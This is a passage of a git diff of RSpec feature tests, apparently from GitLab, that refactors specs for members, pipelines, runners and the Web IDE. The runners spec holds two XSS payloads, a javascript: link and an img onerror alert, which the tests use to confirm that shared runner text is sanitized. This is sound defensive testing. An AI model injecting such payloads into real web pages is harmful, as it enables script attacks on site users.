expect(page).to have_unchecked_field 'Also unassign this user from related issues and merge requests'
- click_button('Remove member')
+ click_button _('Remove member')
end
wait_for_requests
diff --git a/spec/features/projects/members/sorting_spec.rb b/spec/features/projects/members/sorting_spec.rb
index 5c72d9efeb3..6df1e974f42 100644
--- a/spec/features/projects/members/sorting_spec.rb
+++ b/spec/features/projects/members/sorting_spec.rb
@@ -48,7 +48,7 @@ RSpec.describe 'Projects > Members > Sorting', :js, feature_category: :subgroups
expect(first_row.text).to have_content(maintainer.name)
expect(second_row.text).to have_content(developer.name)
- expect_sort_by('Created on', :asc)
+ expect_sort_by('User created', :asc)
end
it 'sorts by user created on descending' do
@@ -57,7 +57,7 @@ RSpec.describe 'Projects > Members > Sorting', :js, feature_category: :subgroups
expect(first_row.text).to have_content(developer.name)
expect(second_row.text).to have_content(maintainer.name)
- expect_sort_by('Created on', :desc)
+ expect_sort_by('User created', :desc)
end
it 'sorts by last activity ascending' do
diff --git a/spec/features/projects/milestones/milestones_sorting_spec.rb b/spec/features/projects/milestones/milestones_sorting_spec.rb
index 8a8e7d07435..9bf04164a09 100644
--- a/spec/features/projects/milestones/milestones_sorting_spec.rb
+++ b/spec/features/projects/milestones/milestones_sorting_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Milestones sorting', :js, feature_category: :team_planning do
+ include ListboxHelpers
+
let(:user) { create(:user) }
let(:project) { create(:project, name: 'test', namespace: user.namespace) }
let(:milestones_for_sort_by) do
@@ -40,14 +42,13 @@ RSpec.describe 'Milestones sorting', :js, feature_category: :team_planning do
# assert milestones listed for given sort order
selected_sort_order = 'Due soon'
milestones_for_sort_by.each do |sort_by, expected_milestones|
- within '[data-testid=milestone_sort_by_dropdown]' do
- click_button selected_sort_order
- milestones = find('ul[role="listbox"]').all('li').map(&:text)
- expect(milestones).to eq(ordered_milestones)
+ click_button selected_sort_order
- find('li', text: sort_by).click
- expect(page).to have_button(sort_by)
- end
+ expect_listbox_items(ordered_milestones)
+
+ select_listbox_item(sort_by)
+
+ expect(page).to have_button(sort_by)
within '.milestones' do
expect(page.all('ul.content-list > li strong > a').map(&:text)).to eq(expected_milestones)
diff --git a/spec/features/projects/navbar_spec.rb b/spec/features/projects/navbar_spec.rb
index 4d85b5cfb2e..6090d132e3a 100644
--- a/spec/features/projects/navbar_spec.rb
+++ b/spec/features/projects/navbar_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Project navbar', feature_category: :projects do
+RSpec.describe 'Project navbar', :with_license, feature_category: :projects do
include NavbarStructureHelper
include WaitForRequests
@@ -15,6 +15,8 @@ RSpec.describe 'Project navbar', feature_category: :projects do
before do
sign_in(user)
+ stub_feature_flags(show_pages_in_deployments_menu: false)
+
stub_config(registry: { enabled: false })
stub_feature_flags(harbor_registry_integration: false)
insert_package_nav(_('Deployments'))
diff --git a/spec/features/projects/new_project_spec.rb b/spec/features/projects/new_project_spec.rb
index 769ad5bf61a..c6a6ee68185 100644
--- a/spec/features/projects/new_project_spec.rb
+++ b/spec/features/projects/new_project_spec.rb
@@ -552,7 +552,7 @@ RSpec.describe 'New project', :js, feature_category: :projects do
it_behaves_like 'has instructions to enable OAuth'
end
- context 'as an admin' do
+ context 'as an admin', :do_not_mock_admin_mode_setting do
let(:user) { create(:admin) }
let(:oauth_config_instructions) { 'To enable importing projects from Bitbucket, as administrator you need to configure OAuth integration' }
@@ -571,7 +571,7 @@ RSpec.describe 'New project', :js, feature_category: :projects do
it_behaves_like 'has instructions to enable OAuth'
end
- context 'as an admin' do
+ context 'as an admin', :do_not_mock_admin_mode_setting do
let(:user) { create(:admin) }
let(:oauth_config_instructions) { 'To enable importing projects from GitLab.com, as administrator you need to configure OAuth integration' }
diff --git a/spec/features/projects/pages/user_edits_settings_spec.rb b/spec/features/projects/pages/user_edits_settings_spec.rb
index 7ceefdecbae..8c713b6f73a 100644
--- a/spec/features/projects/pages/user_edits_settings_spec.rb
+++ b/spec/features/projects/pages/user_edits_settings_spec.rb
@@ -10,6 +10,8 @@ RSpec.describe 'Pages edits pages settings', :js, feature_category: :pages do
before do
allow(Gitlab.config.pages).to receive(:enabled).and_return(true)
+ stub_feature_flags(show_pages_in_deployments_menu: false)
+
project.add_maintainer(user)
sign_in(user)
diff --git a/spec/features/projects/pipelines/legacy_pipelines_spec.rb b/spec/features/projects/pipelines/legacy_pipelines_spec.rb
new file mode 100644
index 00000000000..e69de29bb2d
--- /dev/null
+++ b/spec/features/projects/pipelines/legacy_pipelines_spec.rb
diff --git a/spec/features/projects/pipelines/pipeline_spec.rb b/spec/features/projects/pipelines/pipeline_spec.rb
index d6067e22952..d5739386a30 100644
--- a/spec/features/projects/pipelines/pipeline_spec.rb
+++ b/spec/features/projects/pipelines/pipeline_spec.rb
@@ -18,6 +18,8 @@ RSpec.describe 'Pipeline', :js, feature_category: :projects do
end
shared_context 'pipeline builds' do
+ let!(:external_stage) { create(:ci_stage, name: 'external', pipeline: pipeline) }
+
let!(:build_passed) do
create(:ci_build, :success,
pipeline: pipeline, stage: 'build', stage_idx: 0, name: 'build')
@@ -52,7 +54,7 @@ RSpec.describe 'Pipeline', :js, feature_category: :projects do
create(:generic_commit_status, status: 'success',
pipeline: pipeline,
name: 'jenkins',
- stage: 'external',
+ ci_stage: external_stage,
ref: 'master',
target_url: 'http://gitlab.com/status')
end
@@ -98,42 +100,16 @@ RSpec.describe 'Pipeline', :js, feature_category: :projects do
end
end
- context 'with pipeline_name feature flag enabled' do
- before do
- stub_feature_flags(pipeline_name: true)
- end
-
- it 'displays pipeline name instead of commit title' do
- visit_pipeline
-
- within 'h3' do
- expect(page).to have_content(pipeline.name)
- end
-
- within '.well-segment[data-testid="commit-row"]' do
- expect(page).to have_content(project.commit.title)
- expect(page).to have_content(project.commit.short_id)
- end
- end
- end
+ it 'displays pipeline name instead of commit title' do
+ visit_pipeline
- context 'with pipeline_name feature flag disabled' do
- before do
- stub_feature_flags(pipeline_name: false)
+ within 'h3' do
+ expect(page).to have_content(pipeline.name)
end
- it 'displays commit title' do
- visit_pipeline
-
- within 'h3' do
- expect(page).not_to have_content(pipeline.name)
- expect(page).to have_content(project.commit.title)
- end
-
- within '.well-segment[data-testid="commit-row"]' do
- expect(page).not_to have_content(project.commit.title)
- expect(page).to have_content(project.commit.short_id)
- end
+ within '.well-segment[data-testid="commit-row"]' do
+ expect(page).to have_content(project.commit.title)
+ expect(page).to have_content(project.commit.short_id)
end
end
diff --git a/spec/features/projects/pipelines/pipelines_spec.rb b/spec/features/projects/pipelines/pipelines_spec.rb
index 3bdabd672c7..6a44f421249 100644
--- a/spec/features/projects/pipelines/pipelines_spec.rb
+++ b/spec/features/projects/pipelines/pipelines_spec.rb
@@ -3,6 +3,7 @@
require 'spec_helper'
RSpec.describe 'Pipelines', :js, feature_category: :projects do
+ include ListboxHelpers
include ProjectForksHelper
include Spec::Support::Helpers::ModalHelpers
@@ -594,7 +595,7 @@ RSpec.describe 'Pipelines', :js, feature_category: :projects do
end
it 'changes the Pipeline ID column for Pipeline IID' do
- page.find('[data-testid="pipeline-key-dropdown"]').click
+ page.find('[data-testid="pipeline-key-collapsible-box"]').click
within '.gl-dropdown-contents' do
dropdown_options = page.find_all '.gl-dropdown-item'
@@ -618,6 +619,8 @@ RSpec.describe 'Pipelines', :js, feature_category: :projects do
user: user)
end
+ let(:external_stage) { create(:ci_stage, name: 'external', pipeline: pipeline) }
+
before do
create_build('build', 0, 'build', :success)
create_build('test', 1, 'rspec 0:2', :pending)
@@ -627,7 +630,7 @@ RSpec.describe 'Pipelines', :js, feature_category: :projects do
create_build('test', 1, 'audit', :created)
create_build('deploy', 2, 'production', :created)
- create(:generic_commit_status, pipeline: pipeline, stage: 'external', name: 'jenkins', stage_idx: 3, ref: 'master')
+ create(:generic_commit_status, pipeline: pipeline, ci_stage: external_stage, name: 'jenkins', ref: 'master')
visit project_pipeline_path(project, pipeline)
wait_for_requests
@@ -672,7 +675,7 @@ RSpec.describe 'Pipelines', :js, feature_category: :projects do
click_button project.default_branch
wait_for_requests
- find('p', text: 'master').click
+ find('.gl-dropdown-item', text: 'master').click
wait_for_requests
end
@@ -776,8 +779,7 @@ RSpec.describe 'Pipelines', :js, feature_category: :projects do
describe 'new pipeline page' do
it 'has field to add a new pipeline' do
- expect(page).to have_selector('[data-testid="ref-select"]')
- expect(find('[data-testid="ref-select"]')).to have_content project.default_branch
+ expect(page).to have_button project.default_branch
expect(page).to have_content('Run for')
end
end
@@ -785,14 +787,9 @@ RSpec.describe 'Pipelines', :js, feature_category: :projects do
describe 'find pipelines' do
it 'shows filtered pipelines', :js do
click_button project.default_branch
+ send_keys('fix')
- page.within '[data-testid="ref-select"]' do
- find('[data-testid="search-refs"]').native.send_keys('fix')
-
- page.within '.gl-dropdown-contents' do
- expect(page).to have_content('fix')
- end
- end
+ expect_listbox_item('fix')
end
end
end
diff --git a/spec/features/projects/settings/monitor_settings_spec.rb b/spec/features/projects/settings/monitor_settings_spec.rb
index 2cdcf86757e..4b553b57331 100644
--- a/spec/features/projects/settings/monitor_settings_spec.rb
+++ b/spec/features/projects/settings/monitor_settings_spec.rb
@@ -113,7 +113,7 @@ RSpec.describe 'Projects > Settings > For a forked project', :js, feature_catego
within('div#project-dropdown') do
click_button('Select project')
- click_button('Sentry | internal')
+ find('li', text: 'Sentry | internal').click
end
click_button('Save changes')
diff --git a/spec/features/projects/settings/pipelines_settings_spec.rb b/spec/features/projects/settings/pipelines_settings_spec.rb
index 37973c9b8d6..51858ddf8c5 100644
--- a/spec/features/projects/settings/pipelines_settings_spec.rb
+++ b/spec/features/projects/settings/pipelines_settings_spec.rb
@@ -149,29 +149,5 @@ RSpec.describe "Projects > Settings > Pipelines settings", feature_category: :pr
end
end
end
-
- describe 'runners registration token' do
- let!(:token) { project.runners_token }
-
- before do
- visit project_settings_ci_cd_path(project)
- end
-
- it 'has a registration token' do
- expect(page.find('#registration_token')).to have_content(token)
- end
-
- describe 'reload registration token' do
- let(:page_token) { find('#registration_token').text }
-
- before do
- click_link 'Reset registration token'
- end
-
- it 'changes registration token' do
- expect(page_token).not_to eq token
- end
- end
- end
end
end
diff --git a/spec/features/projects/settings/user_manages_project_members_spec.rb b/spec/features/projects/settings/user_manages_project_members_spec.rb
index ee832da48d9..fac4d5a99a5 100644
--- a/spec/features/projects/settings/user_manages_project_members_spec.rb
+++ b/spec/features/projects/settings/user_manages_project_members_spec.rb
@@ -22,13 +22,12 @@ RSpec.describe 'Projects > Settings > User manages project members', feature_cat
it 'cancels a team member', :js do
visit(project_project_members_path(project))
- page.within find_member_row(user_dmitriy) do
- click_button 'Remove member'
- end
+ show_actions_for_username(user_dmitriy)
+ click_button _('Remove member')
within_modal do
expect(page).to have_unchecked_field 'Also unassign this user from related issues and merge requests'
- click_button('Remove member')
+ click_button _('Remove member')
end
visit(project_project_members_path(project))
diff --git a/spec/features/projects/settings/user_searches_in_settings_spec.rb b/spec/features/projects/settings/user_searches_in_settings_spec.rb
index 8a11507d064..923a6a10671 100644
--- a/spec/features/projects/settings/user_searches_in_settings_spec.rb
+++ b/spec/features/projects/settings/user_searches_in_settings_spec.rb
@@ -68,6 +68,7 @@ RSpec.describe 'User searches project settings', :js, feature_category: :project
context 'in Pages page' do
before do
+ stub_feature_flags(show_pages_in_deployments_menu: false)
allow(Gitlab.config.pages).to receive(:enabled).and_return(true)
visit project_pages_path(project)
diff --git a/spec/features/projects/terraform_spec.rb b/spec/features/projects/terraform_spec.rb
index bbc7f675c55..5e2f65165c2 100644
--- a/spec/features/projects/terraform_spec.rb
+++ b/spec/features/projects/terraform_spec.rb
@@ -56,9 +56,9 @@ RSpec.describe 'Terraform', :js, feature_category: :projects do
end
context 'when clicking on the delete button' do
- let(:additional_state) { create(:terraform_state, project: project) }
+ let!(:additional_state) { create(:terraform_state, project: project) }
- it 'removes the state', :aggregate_failures, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/333640' do
+ it 'removes the state', :aggregate_failures do
visit project_terraform_index_path(project)
expect(page).to have_content(additional_state.name)
@@ -69,7 +69,12 @@ RSpec.describe 'Terraform', :js, feature_category: :projects do
click_button 'Remove'
expect(page).to have_content("#{additional_state.name} successfully removed")
- expect { additional_state.reload }.to raise_error ActiveRecord::RecordNotFound
+
+ find("[data-testid='remove-icon']").hover
+ expect(page).to have_content("Deletion in progress")
+
+ additional_state.reload
+ expect(additional_state.deleted_at).not_to be_nil
end
end
diff --git a/spec/features/projects/tree/create_directory_spec.rb b/spec/features/projects/tree/create_directory_spec.rb
index 3a0160c42fb..58f572bc021 100644
--- a/spec/features/projects/tree/create_directory_spec.rb
+++ b/spec/features/projects/tree/create_directory_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Multi-file editor new directory', :js, feature_category: :web_ide do
+ include WebIdeSpecHelpers
+
let(:user) { create(:user) }
let(:project) { create(:project, :repository) }
@@ -16,9 +18,7 @@ RSpec.describe 'Multi-file editor new directory', :js, feature_category: :web_id
wait_for_requests
- click_link('Web IDE')
-
- wait_for_requests
+ ide_visit_from_link
end
after do
@@ -26,6 +26,8 @@ RSpec.describe 'Multi-file editor new directory', :js, feature_category: :web_id
end
it 'creates directory in current directory' do
+ wait_for_all_requests
+
all('.ide-tree-actions button').last.click
page.within('.modal') do
diff --git a/spec/features/projects/tree/create_file_spec.rb b/spec/features/projects/tree/create_file_spec.rb
index 61240150658..674aef8e6f4 100644
--- a/spec/features/projects/tree/create_file_spec.rb
+++ b/spec/features/projects/tree/create_file_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Multi-file editor new file', :js, feature_category: :web_ide do
+ include WebIdeSpecHelpers
+
let(:user) { create(:user) }
let(:project) { create(:project, :repository) }
@@ -16,9 +18,7 @@ RSpec.describe 'Multi-file editor new file', :js, feature_category: :web_ide do
wait_for_requests
- click_link('Web IDE')
-
- wait_for_requests
+ ide_visit_from_link
end
after do
@@ -26,6 +26,7 @@ RSpec.describe 'Multi-file editor new file', :js, feature_category: :web_ide do
end
it 'creates file in current directory' do
+ wait_for_requests
first('.ide-tree-actions button').click
page.within('.modal') do
diff --git a/spec/features/projects/tree/tree_show_spec.rb b/spec/features/projects/tree/tree_show_spec.rb
index 21932cae58b..835a3cda65e 100644
--- a/spec/features/projects/tree/tree_show_spec.rb
+++ b/spec/features/projects/tree/tree_show_spec.rb
@@ -3,6 +3,7 @@
require 'spec_helper'
RSpec.describe 'Projects tree', :js, feature_category: :web_ide do
+ include WebIdeSpecHelpers
include RepoHelpers
let(:user) { create(:user) }
@@ -123,10 +124,9 @@ RSpec.describe 'Projects tree', :js, feature_category: :web_ide do
it 'opens folder in IDE' do
visit project_tree_path(project, File.join('master', 'bar'))
+ ide_visit_from_link
- click_link 'Web IDE'
-
- wait_for_requests
+ wait_for_all_requests
find('.ide-file-list')
wait_for_requests
expect(page).to have_selector('.is-open', text: 'bar')
diff --git a/spec/features/projects/tree/upload_file_spec.rb b/spec/features/projects/tree/upload_file_spec.rb
index 1e4abc789c2..42fa88a0d3e 100644
--- a/spec/features/projects/tree/upload_file_spec.rb
+++ b/spec/features/projects/tree/upload_file_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Multi-file editor upload file', :js, feature_category: :web_ide do
+ include WebIdeSpecHelpers
+
let(:user) { create(:user) }
let(:project) { create(:project, :repository) }
let(:txt_file) { File.join(Rails.root, 'spec', 'fixtures', 'doc_sample.txt') }
@@ -18,9 +20,7 @@ RSpec.describe 'Multi-file editor upload file', :js, feature_category: :web_ide
wait_for_requests
- click_link('Web IDE')
-
- wait_for_requests
+ ide_visit_from_link
end
after do
@@ -28,6 +28,7 @@ RSpec.describe 'Multi-file editor upload file', :js, feature_category: :web_ide
end
it 'uploads text file' do
+ wait_for_all_requests
# make the field visible so capybara can use it
execute_script('document.querySelector("#file-upload").classList.remove("hidden")')
attach_file('file-upload', txt_file)
diff --git a/spec/features/projects_spec.rb b/spec/features/projects_spec.rb
index ec0b3f9d81b..84702b3a6bb 100644
--- a/spec/features/projects_spec.rb
+++ b/spec/features/projects_spec.rb
@@ -213,7 +213,7 @@ RSpec.describe 'Project', feature_category: :projects do
end
end
- describe 'showing information about source of a project fork' do
+ describe 'showing information about source of a project fork', :js do
let(:user) { create(:user) }
let(:base_project) { create(:project, :public, :repository) }
let(:forked_project) { fork_project(base_project, user, repository: true) }
@@ -224,6 +224,7 @@ RSpec.describe 'Project', feature_category: :projects do
it 'shows a link to the source project when it is available', :sidekiq_might_not_need_inline do
visit project_path(forked_project)
+ wait_for_requests
expect(page).to have_content('Forked from')
expect(page).to have_link(base_project.full_name)
@@ -233,6 +234,7 @@ RSpec.describe 'Project', feature_category: :projects do
forked_project
visit project_path(base_project)
+ wait_for_requests
expect(page).not_to have_content('In fork network of')
expect(page).not_to have_content('Forked from')
@@ -243,7 +245,7 @@ RSpec.describe 'Project', feature_category: :projects do
Projects::DestroyService.new(base_project, base_project.first_owner).execute
visit project_path(forked_project)
-
+ wait_for_requests
expect(page).to have_content('Forked from an inaccessible project')
end
@@ -255,7 +257,7 @@ RSpec.describe 'Project', feature_category: :projects do
Projects::DestroyService.new(forked_project, user).execute
visit project_path(fork_of_fork)
-
+ wait_for_requests
expect(page).to have_content("Forked from")
expect(page).to have_link(base_project.full_name)
end
diff --git a/spec/features/protected_branches_spec.rb b/spec/features/protected_branches_spec.rb
index c549d99a51f..04096b3e4f9 100644
--- a/spec/features/protected_branches_spec.rb
+++ b/spec/features/protected_branches_spec.rb
@@ -117,7 +117,7 @@ RSpec.describe 'Protected Branches', :js, feature_category: :source_code_managem
set_protected_branch_name('some-branch')
click_on "Protect"
- within(".protected-branches-list") { expect(page).to have_content('Branch was deleted') }
+ within(".protected-branches-list") { expect(page).to have_content('Branch does not exist') }
end
end
diff --git a/spec/features/protected_tags_spec.rb b/spec/features/protected_tags_spec.rb
index 1aadc7ce90a..c2058a5c345 100644
--- a/spec/features/protected_tags_spec.rb
+++ b/spec/features/protected_tags_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Protected Tags', :js, feature_category: :source_code_management do
+RSpec.describe 'Protected Tags', :js, :with_license, feature_category: :source_code_management do
include ProtectedTagHelpers
let(:project) { create(:project, :repository) }
diff --git a/spec/features/runners_spec.rb b/spec/features/runners_spec.rb
index 40ba0fa9ebb..e7c2452af93 100644
--- a/spec/features/runners_spec.rb
+++ b/spec/features/runners_spec.rb
@@ -9,370 +9,402 @@ RSpec.describe 'Runners', feature_category: :runner_fleet do
sign_in(user)
end
- context 'when user opens runners page' do
- let(:project) { create(:project) }
-
+ context 'when project_runners_vue_ui is disabled' do
before do
- project.add_maintainer(user)
+ stub_feature_flags(project_runners_vue_ui: false)
end
- it 'user can see a link with instructions on how to install GitLab Runner' do
- visit project_runners_path(project)
+ context 'when user opens runners page' do
+ let(:project) { create(:project) }
- expect(page).to have_link('Install GitLab Runner and ensure it\'s running.', href: "https://docs.gitlab.com/runner/install/")
- end
- end
+ before do
+ project.add_maintainer(user)
+ end
- context 'when a project has enabled shared_runners' do
- let_it_be(:project) { create(:project) }
+ it 'user can see a link with instructions on how to install GitLab Runner' do
+ visit project_runners_path(project)
- before do
- project.add_maintainer(user)
- end
+ expect(page).to have_link('Install GitLab Runner and ensure it\'s running.', href: "https://docs.gitlab.com/runner/install/")
+ end
- context 'when a project_type runner is activated on the project' do
- let_it_be(:project_runner) { create(:ci_runner, :project, projects: [project]) }
+ describe 'runners registration token' do
+ let!(:token) { project.runners_token }
- it 'user sees the specific runner' do
- visit project_runners_path(project)
+ context 'when project_runners_vue_ui is disabled' do
+ before do
+ visit project_runners_path(project)
+ end
- within '.activated-specific-runners' do
- expect(page).to have_content(project_runner.display_name)
- end
+ it 'has a registration token' do
+ expect(page.find('#registration_token')).to have_content(token)
+ end
- click_on project_runner.short_sha
+ describe 'reload registration token' do
+ let(:page_token) { find('#registration_token').text }
- expect(page).to have_content(project_runner.platform)
+ before do
+ click_link 'Reset registration token'
+ end
+
+ it 'changes registration token' do
+ expect(page_token).not_to eq token
+ end
+ end
+ end
end
+ end
- it 'user can pause and resume the specific runner' do
- visit project_runners_path(project)
+ context 'when a project has enabled shared_runners' do
+ let_it_be(:project) { create(:project) }
- within '.activated-specific-runners' do
- expect(page).to have_link('Pause')
- end
+ before do
+ project.add_maintainer(user)
+ end
- click_on 'Pause'
+ context 'when a project_type runner is activated on the project' do
+ let_it_be(:project_runner) { create(:ci_runner, :project, projects: [project]) }
- within '.activated-specific-runners' do
- expect(page).to have_link('Resume')
- end
+ it 'user sees the specific runner' do
+ visit project_runners_path(project)
- click_on 'Resume'
+ within '.activated-specific-runners' do
+ expect(page).to have_content(project_runner.display_name)
+ end
+
+ click_on project_runner.short_sha
- within '.activated-specific-runners' do
- expect(page).to have_link('Pause')
+ expect(page).to have_content(project_runner.platform)
end
- end
- it 'user removes an activated specific runner if this is last project for that runners' do
- visit project_runners_path(project)
+ it 'user can pause and resume the specific runner' do
+ visit project_runners_path(project)
- within '.activated-specific-runners' do
- click_on 'Remove runner'
- end
+ within '.activated-specific-runners' do
+ expect(page).to have_link('Pause')
+ end
- expect(page).not_to have_content(project_runner.display_name)
- end
+ click_on 'Pause'
- it 'user edits the runner to be protected' do
- visit project_runners_path(project)
+ within '.activated-specific-runners' do
+ expect(page).to have_link('Resume')
+ end
- within '.activated-specific-runners' do
- first('[data-testid="edit-runner-link"]').click
- end
+ click_on 'Resume'
- expect(page.find_field('runner[access_level]')).not_to be_checked
+ within '.activated-specific-runners' do
+ expect(page).to have_link('Pause')
+ end
+ end
- check 'runner_access_level'
- click_button 'Save changes'
+ it 'user removes an activated specific runner if this is last project for that runners' do
+ visit project_runners_path(project)
- expect(page).to have_content 'Protected Yes'
- end
+ within '.activated-specific-runners' do
+ click_on 'Remove runner'
+ end
- context 'when a runner has a tag' do
- before do
- project_runner.update!(tag_list: ['tag'])
+ expect(page).not_to have_content(project_runner.display_name)
end
- it 'user edits runner not to run untagged jobs' do
+ it 'user edits the runner to be protected' do
visit project_runners_path(project)
within '.activated-specific-runners' do
first('[data-testid="edit-runner-link"]').click
end
- expect(page.find_field('runner[run_untagged]')).to be_checked
+ expect(page.find_field('runner[access_level]')).not_to be_checked
- uncheck 'runner_run_untagged'
+ check 'runner_access_level'
click_button 'Save changes'
- expect(page).to have_content 'Can run untagged jobs No'
+ expect(page).to have_content 'Protected Yes'
end
- end
-
- context 'when a shared runner is activated on the project' do
- let!(:shared_runner) { create(:ci_runner, :instance) }
- it 'user sees CI/CD setting page' do
- visit project_runners_path(project)
-
- within '[data-testid="available-shared-runners"]' do
- expect(page).to have_content(shared_runner.display_name)
+ context 'when a runner has a tag' do
+ before do
+ project_runner.update!(tag_list: ['tag'])
end
- end
- context 'when multiple shared runners are configured' do
- let_it_be(:shared_runner_2) { create(:ci_runner, :instance) }
-
- it 'shows the runner count' do
+ it 'user edits runner not to run untagged jobs' do
visit project_runners_path(project)
- within '[data-testid="available-shared-runners"]' do
- expect(page).to have_content format(_('Available shared runners: %{count}'), { count: 2 })
+ within '.activated-specific-runners' do
+ first('[data-testid="edit-runner-link"]').click
end
+
+ expect(page.find_field('runner[run_untagged]')).to be_checked
+
+ uncheck 'runner_run_untagged'
+ click_button 'Save changes'
+
+ expect(page).to have_content 'Can run untagged jobs No'
end
+ end
- it 'adds pagination to the shared runner list' do
- stub_const('Projects::Settings::CiCdController::NUMBER_OF_RUNNERS_PER_PAGE', 1)
+ context 'when a shared runner is activated on the project' do
+ let!(:shared_runner) { create(:ci_runner, :instance) }
+ it 'user sees CI/CD setting page' do
visit project_runners_path(project)
within '[data-testid="available-shared-runners"]' do
- expect(find('.pagination')).not_to be_nil
+ expect(page).to have_content(shared_runner.display_name)
end
end
- end
- end
- context 'when multiple project runners are configured' do
- let!(:project_runner_2) { create(:ci_runner, :project, projects: [project]) }
+ context 'when multiple shared runners are configured' do
+ let_it_be(:shared_runner_2) { create(:ci_runner, :instance) }
- it 'adds pagination to the runner list' do
- stub_const('Projects::Settings::CiCdController::NUMBER_OF_RUNNERS_PER_PAGE', 1)
+ it 'shows the runner count' do
+ visit project_runners_path(project)
- visit project_runners_path(project)
+ within '[data-testid="available-shared-runners"]' do
+ expect(page).to have_content format(_('Available shared runners: %{count}'), { count: 2 })
+ end
+ end
- expect(find('.pagination')).not_to be_nil
- end
- end
- end
+ it 'adds pagination to the shared runner list' do
+ stub_const('Projects::Settings::CiCdController::NUMBER_OF_RUNNERS_PER_PAGE', 1)
- context 'when a specific runner exists in another project' do
- let(:another_project) { create(:project) }
- let!(:project_runner) { create(:ci_runner, :project, projects: [another_project]) }
+ visit project_runners_path(project)
- before do
- another_project.add_maintainer(user)
- end
+ within '[data-testid="available-shared-runners"]' do
+ expect(find('.pagination')).not_to be_nil
+ end
+ end
+ end
+ end
- it 'user enables and disables a specific runner' do
- visit project_runners_path(project)
+ context 'when multiple project runners are configured' do
+ let!(:project_runner_2) { create(:ci_runner, :project, projects: [project]) }
- within '.available-specific-runners' do
- click_on 'Enable for this project'
- end
+ it 'adds pagination to the runner list' do
+ stub_const('Projects::Settings::CiCdController::NUMBER_OF_RUNNERS_PER_PAGE', 1)
- expect(page.find('.activated-specific-runners')).to have_content(project_runner.display_name)
+ visit project_runners_path(project)
- within '.activated-specific-runners' do
- click_on 'Disable for this project'
+ expect(find('.pagination')).not_to be_nil
+ end
end
-
- expect(page.find('.available-specific-runners')).to have_content(project_runner.display_name)
end
- end
- context 'shared runner text' do
- context 'when application settings have shared_runners_text' do
- let(:shared_runners_text) { 'custom **shared** runners description' }
- let(:shared_runners_html) { 'custom shared runners description' }
+ context 'when a specific runner exists in another project' do
+ let(:another_project) { create(:project) }
+ let!(:project_runner) { create(:ci_runner, :project, projects: [another_project]) }
before do
- stub_application_setting(shared_runners_text: shared_runners_text)
+ another_project.add_maintainer(user)
end
- it 'user sees shared runners description' do
+ it 'user enables and disables a specific runner' do
visit project_runners_path(project)
- page.within("[data-testid='shared-runners-description']") do
- expect(page).not_to have_content('The same shared runner executes code from multiple projects')
- expect(page).to have_content(shared_runners_html)
+ within '.available-specific-runners' do
+ click_on 'Enable for this project'
+ end
+
+ expect(page.find('.activated-specific-runners')).to have_content(project_runner.display_name)
+
+ within '.activated-specific-runners' do
+ click_on 'Disable for this project'
end
+
+ expect(page.find('.available-specific-runners')).to have_content(project_runner.display_name)
end
end
- context 'when application settings have an unsafe link in shared_runners_text' do
- let(:shared_runners_text) { '<a href="javascript:alert(\'xss\')">link</a>' }
+ context 'shared runner text' do
+ context 'when application settings have shared_runners_text' do
+ let(:shared_runners_text) { 'custom **shared** runners description' }
+ let(:shared_runners_html) { 'custom shared runners description' }
- before do
- stub_application_setting(shared_runners_text: shared_runners_text)
- end
+ before do
+ stub_application_setting(shared_runners_text: shared_runners_text)
+ end
- it 'user sees no link' do
- visit project_runners_path(project)
+ it 'user sees shared runners description' do
+ visit project_runners_path(project)
- page.within("[data-testid='shared-runners-description']") do
- expect(page).to have_content('link')
- expect(page).not_to have_link('link')
+ page.within("[data-testid='shared-runners-description']") do
+ expect(page).not_to have_content('The same shared runner executes code from multiple projects')
+ expect(page).to have_content(shared_runners_html)
+ end
end
end
- end
- context 'when application settings have an unsafe image in shared_runners_text' do
- let(:shared_runners_text) { '<img src="404.png" onerror="alert(\'xss\')"/>' }
+ context 'when application settings have an unsafe link in shared_runners_text' do
+ let(:shared_runners_text) { '<a href="javascript:alert(\'xss\')">link</a>' }
- before do
- stub_application_setting(shared_runners_text: shared_runners_text)
- end
+ before do
+ stub_application_setting(shared_runners_text: shared_runners_text)
+ end
- it 'user sees image safely' do
- visit project_runners_path(project)
+ it 'user sees no link' do
+ visit project_runners_path(project)
- page.within("[data-testid='shared-runners-description']") do
- expect(page).to have_css('img')
- expect(page).not_to have_css('img[onerror]')
+ page.within("[data-testid='shared-runners-description']") do
+ expect(page).to have_content('link')
+ expect(page).not_to have_link('link')
+ end
end
end
- end
- end
- end
- context 'enable shared runners in project settings', :js do
- before do
- project.add_maintainer(user)
+ context 'when application settings have an unsafe image in shared_runners_text' do
+ let(:shared_runners_text) { '<img src="404.png" onerror="alert(\'xss\')"/>' }
- visit project_runners_path(project)
- end
+ before do
+ stub_application_setting(shared_runners_text: shared_runners_text)
+ end
- context 'when a project has enabled shared_runners' do
- let(:project) { create(:project, shared_runners_enabled: true) }
+ it 'user sees image safely' do
+ visit project_runners_path(project)
- it 'shared runners toggle is on' do
- expect(page).to have_selector('[data-testid="toggle-shared-runners"]')
- expect(page).to have_selector('[data-testid="toggle-shared-runners"] .is-checked')
+ page.within("[data-testid='shared-runners-description']") do
+ expect(page).to have_css('img')
+ expect(page).not_to have_css('img[onerror]')
+ end
+ end
+ end
end
end
- context 'when a project has disabled shared_runners' do
- let(:project) { create(:project, shared_runners_enabled: false) }
+ context 'enable shared runners in project settings', :js do
+ before do
+ project.add_maintainer(user)
- it 'shared runners toggle is off' do
- expect(page).not_to have_selector('[data-testid="toggle-shared-runners"] .is-checked')
+ visit project_runners_path(project)
end
- end
- end
-
- context 'group runners in project settings' do
- before do
- project.add_maintainer(user)
- end
- let_it_be(:group) { create :group }
- let_it_be(:project) { create :project, group: group }
+ context 'when a project has enabled shared_runners' do
+ let(:project) { create(:project, shared_runners_enabled: true) }
- context 'as project and group maintainer' do
- before do
- group.add_maintainer(user)
+ it 'shared runners toggle is on' do
+ expect(page).to have_selector('[data-testid="toggle-shared-runners"]')
+ expect(page).to have_selector('[data-testid="toggle-shared-runners"] .is-checked')
+ end
end
- context 'project with a group but no group runner' do
- it 'group runners are not available' do
